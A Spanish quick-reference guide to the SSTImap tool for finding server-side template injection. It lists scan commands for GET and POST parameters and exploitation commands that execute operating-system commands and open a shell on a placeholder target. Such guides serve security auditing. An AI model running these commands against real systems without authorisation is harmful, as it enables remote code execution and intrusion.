Auditar vulnerabilidades SSTI
Auditar vulnerabilidades SSTI
SSTImap es una herramienta excelente y muy automatizada para auditar e identificar vulnerabilidades de inyección de plantillas del lado del servidor (SSTI o Server-Side Template Injection). Su funcionamiento es bastante similar al de sqlmap, pero enfocado completamente en motores de plantillas (como Jinja2, Twig, Mako, Blade, Smarty, etc.).
A continuación, tienes una guía rápida en español con las opciones de uso más habituales para tus auditorías.
1. Comandos Esenciales (Casos de Uso)
Escaneo básico de un parámetro en una URL (GET)
Si sospechas que un parámetro en una URL es vulnerable, puedes lanzar el escaneo directo indicando el objetivo con -u:
sstimap -u "http://target.local/index.php?name=test"
Escaneo de peticiones POST
Si el vector de entrada está en el cuerpo de una petición POST, utiliza el parámetro --data:
sstimap -u "http://target.local/login" --data "username=test&comment=vuln"
Forzar un punto de inyección específico
Al igual que en sqlmap, si quieres indicarle a la herramienta exactamente dónde debe inyectar sus payloads dentro de los datos o la URL, utiliza un asterisco (*):
sstimap -u "http://target.local/profile/*"
# O en el POST:
sstimap -u "http://target.local/api" --data "search=test*"
Ejecutar Comandos (Explotación Básica)
Una vez que sstimap detecta el motor de plantillas y confirma la vulnerabilidad, puedes interactuar con el sistema operativo utilizando el flag -os-cmd:
sstimap -u "http://target.local/index.php?id=1*" --os-cmd "id"
Obtener una Shell Interactiva (Reverse Shell o pseudo-terminal)
Si el entorno lo permite, puedes solicitar una shell interactiva del sistema operativo con -os-shell:
sstimap -u "http://target.local/index.php?id=1*" --os-shell
2. Parámetros avanzados útiles en entornos reales
Cuando auditas entornos más complejos con firewalls, proxies o controles de acceso, estos modificadores te resultarán muy útiles:
| Parámetro | Descripción | Ejemplo de Uso |
--headers | Añade cabeceras personalizadas a la petición (útil para tokens, User-Agent específicos, etc.). | --headers "X-Custom: Value\nAuthorization: Bearer xyz" |
--cookie | Incluye cookies de sesión para áreas autenticadas. | --cookie "PHPSESSID=12345abcd" |
--proxy | Enruta el tráfico a través de un proxy local (por ejemplo, para analizar los payloads en Burp Suite). | --proxy [http://127.0.0.1:8080](http://127.0.0.1:8080) |
--level | Ajusta la profundidad del escaneo (1 a 5). Los niveles más altos prueban payloads más complejos o cabeceras HTTP. | --level 3 |
💡 Nota de rendimiento: Si ya sabes qué motor de plantillas utiliza el servidor (por ejemplo, Jinja2), puedes agilizar el proceso utilizando el parámetro
--engine Jinja2para omitir las pruebas del resto de motores.